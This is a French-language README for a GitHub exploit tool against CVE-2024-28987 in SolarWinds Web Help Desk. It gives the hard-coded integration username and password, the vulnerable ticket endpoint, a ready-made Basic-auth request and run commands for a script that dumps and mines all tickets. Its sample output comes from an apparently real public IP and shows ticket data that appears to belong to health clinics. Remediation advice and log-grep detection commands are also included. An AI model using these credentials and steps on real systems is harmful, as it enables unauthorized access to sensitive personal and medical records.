
CVE-2024-28987 — Mis à jour !
**CVE-2024-28987** est une vulnérabilité critique dans SolarWinds Web Help Desk (WHD) qui permet à des attaquants distants d'accéder à des informations sensibles sur les tickets en utilisant des **identifiants codés en dur**. Cette vulnérabilité a un **score CVSS de 9,1 (Critique)** et est activement exploitée dans la nature.
CVE-2024-28987 - Exploitation des identifiants codés en dur de SolarWinds Web Help Desk
⚠️ AVERTISSEMENT : Cet outil est destiné uniquement à des fins de tests de sécurité éducatifs et autorisés. L'accès non autorisé à des systèmes informatiques est illégal. Utilisez cet outil uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.
📋 Vue d'ensemble
CVE-2024-28987 est une vulnérabilité critique dans SolarWinds Web Help Desk (WHD) qui permet à des attaquants distants d'accéder à des informations sensibles de tickets en utilisant des identifiants codés en dur. Cette vulnérabilité a un score CVSS de 9,1 (Critique) et est activement exploitée dans la nature.
Détails de la vulnérabilité
| Attribut | Valeur |
|---|---|
| ID CVE | CVE-2024-28987 |
| Score CVSS | 9,1 (Critique) |
| CWE | CWE-798 (Identifiants codés en dur) |
| Produits concernés | SolarWinds Web Help Desk ≤ 12.8.3 Hotfix 1 |
| Version corrigée | 12.8.3 Hotfix 2 |
| Exploitation | Activement exploitée dans la nature |
| Ajouté au KEV de la CISA | 15 octobre 2024 |
Impact
Un attaquant non authentifié peut :
- Accéder à tous les tickets de support contenant des informations sensibles
- Voir les mots de passe temporaires, les demandes de réinitialisation et les identifiants de services partagés
- Effectuer des opérations CRUD sur les tickets via le point de terminaison
/OrionTickets - Potentiellement pivoter vers d'autres systèmes du réseau
🔧 Fonctionnalités
- ✅ Détection automatique de vulnérabilité - Teste les identifiants codés en dur
- ✅ Extraction de tickets - Récupère tous les tickets des systèmes vulnérables
- ✅ Analyse des données sensibles - Identifie les mots de passe, identifiants, données personnelles et données médicales
- ✅ Formats de sortie multiples - JSON et JSONL pour les grands ensembles de données
- ✅ Aperçu interactif - Affiche les 3 premiers tickets avant l'extraction
- ✅ Zéro dépendance - Utilise uniquement la bibliothèque standard de Python
- ✅ Sortie colorée - Lisibilité améliorée avec les couleurs ANSI
- ✅ Gestion des erreurs - Gestion élégante des erreurs de connexion
🚀 Démarrage rapide
Prérequis
- Python 3.6 ou supérieur
- Aucune dépendance externe requise !
Installation
# Cloner le dépôt
git clone https://github.com/Darabium/CVE-2024-28987.git
cd CVE-2024-28987
# Rendre le script exécutable
Utilisation
bash
# Avec l'URL cible comme argument
python3 cve-2024-28987.py http://ip-cible:port
# Mode interactif (demandera la cible)
python3 cve-2024-28987.py
# Exemple avec une cible vulnérable
python3 cve-2024-28987.py http://192.168.1.100:8098
📊 Exemple de sortie
bash
$ python3 cve-2024-28987.py http://138.94.193.65:8098
╔══════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██╗███████╗ ║
║ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗██║ ██║██╔════╝ ║
║ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║███████║█████╗ ║
║ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔══██║██╔══╝ ║
║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝██║ ██║███████╗ ║
║ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ║
║ ║
║ CVE-2024-28987 - SolarWinds Web Help Desk ║
║ Vulnérabilité des identifiants codés en dur ║
║ ║
╠══════════════════════════════════════════════════════════════════╣
║ GitHub: https://github.com/Darabium ║
╚══════════════════════════════════════════════════════════════════╝
[*] Vérification de http://****:**/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
[+] La cible est VULNÉRABLE !
[+] 42 tickets trouvés
======================================================================
[📋] Aperçu des tickets (3 premiers tickets)
======================================================================
Ticket #1
├── ID : 5690
├── Client : UBS Portao Vermelho
├── Statut : Ouvert
├── Détail : BOA TARDE ENCAMINHO SOLICITAÇÃO DE MATERIAIS DA ODONTO
Ticket #2
├── ID : 5691
├── Client : UBS Centro
├── Statut : En cours
├── Détail : ALCOOL 70% - Solicitação de material de limpeza
======================================================================
[🔐] Analyse des données sensibles
======================================================================
[!] Données de MOT DE PASSE potentielles trouvées dans le ticket #5723
└── détail : Veuillez réinitialiser mon mot de passe pour l'accès au système...
[?] Voulez-vous extraire TOUS les tickets dans un fichier ? [y/N] : y
[*] Enregistrement dans : 138_94_193_65_8098_tickets.json
[✓] 138_94_193_65_8098_tickets.json enregistré avec succès
[*] Taille du fichier : 42 847 octets
[*] Total des tickets : 42
[*] Terminé !
GitHub : https://github.com/Darabium
📁 Structure des fichiers
CVE-2024-28987/
├── cve-2024-28987.py # Script d'exploitation principal
├── README.md # Ce fichier
└── LICENSE # Licence MIT
Fichiers de sortie
Lorsque vous extrayez des tickets, les fichiers suivants sont créés :
Format JSON standard (toujours créé)
138_94_193_65_8098_tickets.json
Format JSONL (créé si > 100 tickets)
***_tickets.jsonl 🔍 Détails techniques Identifiants codés en dur python USERNAME = "helpdeskIntegrationUser" PASSWORD = "dev-C4F8025E7" Point de terminaison concerné text /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ Exemple de requête HTTP http GET /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ HTTP/1.1 Host: cible-vulnérable:8098 Authorization: Basic aGVscGRlc2tJbnRlZ3JhdGlvblVzZXI6ZGV2LUM0ZjgwMjVFNw== Content-Type: application/x-www-form-urlencoded 🛡️ Remédiation Actions immédiates Mettre à jour immédiatement vers SolarWinds Web Help Desk version 12.8.3 Hotfix 2 ou ultérieure
Vérifier les journaux pour tout accès suspect au point de terminaison /OrionTickets
Surveiller les accès non autorisés aux données des tickets
Réinitialiser tous les identifiants qui ont pu être exposés dans les tickets
Examiner tous les tickets de support pour détecter d'éventuelles fuites de données
Commandes de détection bash
Vérifier les tentatives d'exploitation dans les journaux
grep -i "OrionTickets" /var/log/webhelpdesk/access.log
Vérifier les modèles d'accès non autorisés
grep -i "helpdeskIntegrationUser" /var/log/webhelpdesk/access.log
Vérifier la version actuelle
cat /opt/WebHelpDesk/version.txt 🚨 Avis KEV de la CISA Cette vulnérabilité a été ajoutée au catalogue des vulnérabilités connues et exploitées (KEV) de la CISA. Les organisations sont tenues de corriger avant la date limite spécifiée.
Date d'ajout : 15 octobre 2024
Action requise : Appliquer les mises à jour conformément aux instructions du fournisseur
Date limite : 5 novembre 2024 (21 jours)
📚 Références NVD CVE-2024-28987
Catalogue KEV de la CISA
Avis de sécurité SolarWinds
PEP 668 - Gestion de l'environnement externe
🤝 Contribution Les contributions sont les bienvenues ! N'hésitez pas à soumettre des demandes de tirage (pull requests) ou à ouvrir des problèmes (issues).
Directives Forker le dépôt
Créer votre branche de fonctionnalité (git checkout -b feature/AmazingFeature)
Valider vos modifications (git commit -m 'Add some AmazingFeature')
Pousser vers la branche (git push origin feature/AmazingFeature)
Ouvrir une demande de tirage (Pull Request)
📝 Licence Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
⚡ Auteur Darabium - Travail initial - GitHub
⚠️ Notes importantes Cet outil est destiné à la recherche en sécurité et à des fins éducatives
Ne pas utiliser sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test
L'auteur n'est pas responsable de toute utilisation abusive de cet outil
Toujours suivre les pratiques de divulgation responsable
Respecter les lois sur la confidentialité et la protection des données dans votre juridiction
🌟 Historique d'étoiles Si vous trouvez cet outil utile, veuillez lui donner une ⭐ sur GitHub !
📞 Support Ouvrez un problème (issue) sur GitHub pour les rapports de bogues
Pour les préoccupations de sécurité, veuillez contacter directement via GitHub
Fait avec ❤️ pour Darabium